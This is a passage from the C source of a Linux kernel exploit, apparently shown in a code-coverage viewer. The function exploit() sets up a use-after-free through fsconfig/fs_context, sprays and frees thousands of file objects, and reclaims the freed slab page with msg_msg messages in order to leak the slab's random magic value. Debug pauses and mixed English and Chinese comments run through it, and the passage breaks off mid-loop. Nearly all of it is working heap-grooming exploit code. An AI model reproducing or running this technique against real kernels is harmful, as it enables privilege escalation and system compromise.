| 284 | } |
| 285 | |
| 286 | static void exploit() { |
| 287 | char data[0x2000] = {}; |
| 288 | struct msg *m = (struct msg*)data; |
| 289 | m->mtype = 1; |
| 290 | pin_on_cpu(3); // ?????????????????????????????? |
| 291 | // 1. leak magic value |
| 292 | // 1-1. prepare uaf context |
| 293 | setup_uaf(); |
| 294 | |
| 295 | // 1-2. spray 10000 files, uaf file in the middle |
| 296 | printf("[*] 1-2 spraying 10000 files\n"); |
| 297 | // defragment |
| 298 | for (int i=0; i<MAX_FILE_NUM/2; i++) { |
| 299 | fds[i] = open("./data", O_RDONLY); |
| 300 | if (fds[i] < 0) |
| 301 | err(1, "open data"); |
| 302 | } |
| 303 | uaf_fd = open("./data", O_RDONLY); // slab size for file : 0x1000 0x1000 / 320 = 12 可以放12个pipe_buffer |
| 304 | for (int i=0; i<MAX_FILE_NUM/2; i++) { |
| 305 | fds[MAX_FILE_NUM/2+i] = open("./data", O_RDONLY); |
| 306 | if (fds[MAX_FILE_NUM/2+i] < 0) |
| 307 | err(1, "open data 2"); |
| 308 | } |
| 309 | // 1-3. call fsconfig to make fs_context(vul_obj) point to uaf_fd file, ready to free |
| 310 | set_uaffd(); |
| 311 | |
| 312 | // 1-4. free 400 files, and free the file slab (return at least one slab page) |
| 313 | printf("[*] 1-4 free 400 files\n"); |
| 314 | close(uaf_fd); // remove the uaf fd to prevent crash |
| 315 | for (int i=0; i<1000; i++) // 释放 uaf_fd 附近的400个 file |
| 316 | close(fds[MAX_FILE_NUM/2-500+i]); |
| 317 | // close(fs_fd_1); // 再次释放 uaf_fd file, 不会出错 ?????????????????? |
| 318 | sleep(1); |
| 319 | |
| 320 | // 1-5. spray 800 msg_msg (kmalloc-512) to take up the file slab page kmalloc-4k -> kmalloc-512 |
| 321 | printf("[*] 1-5 spray 800 msg_msg (kmalloc-512)\n"); |
| 322 | for (int i=0; i<MAX_MSG_SPRAY; i++) { |
| 323 | memset(m->data, 'A', 0x1800); |
| 324 | if (msgsnd(msg_ids[i], (void *)m, 0x1000+0x200-48-8, 0) != 0) |
| 325 | err(1, "msgsnd"); |
| 326 | } |
| 327 | getchar(); |
| 328 | |
| 329 | // 1-6. free uaf_fd file through fs_context (indeed, it frees msg) |
| 330 | printf("[*] 1-6 free the overlapped msg_msg\n"); |
| 331 | close(fs_fd_2); |
| 332 | sleep(1); |
| 333 | printf("freed msg\n"); |
| 334 | getchar(); |
| 335 | // 1-7. leak the slab magic value |
| 336 | char leak[0x2000]; |
| 337 | unsigned long slab_rand = 0; |
| 338 | int msg_id = -1; |
| 339 | int leak_offset = 0; |
| 340 | printf("[*] 1-7 leak the magic value\n"); |
| 341 | for (int j=0; j<MAX_MSG_SPRAY; j++) { |
| 342 | // vsleep(1); |
| 343 | memset(leak, 0, 0x2000); |
no test coverage detected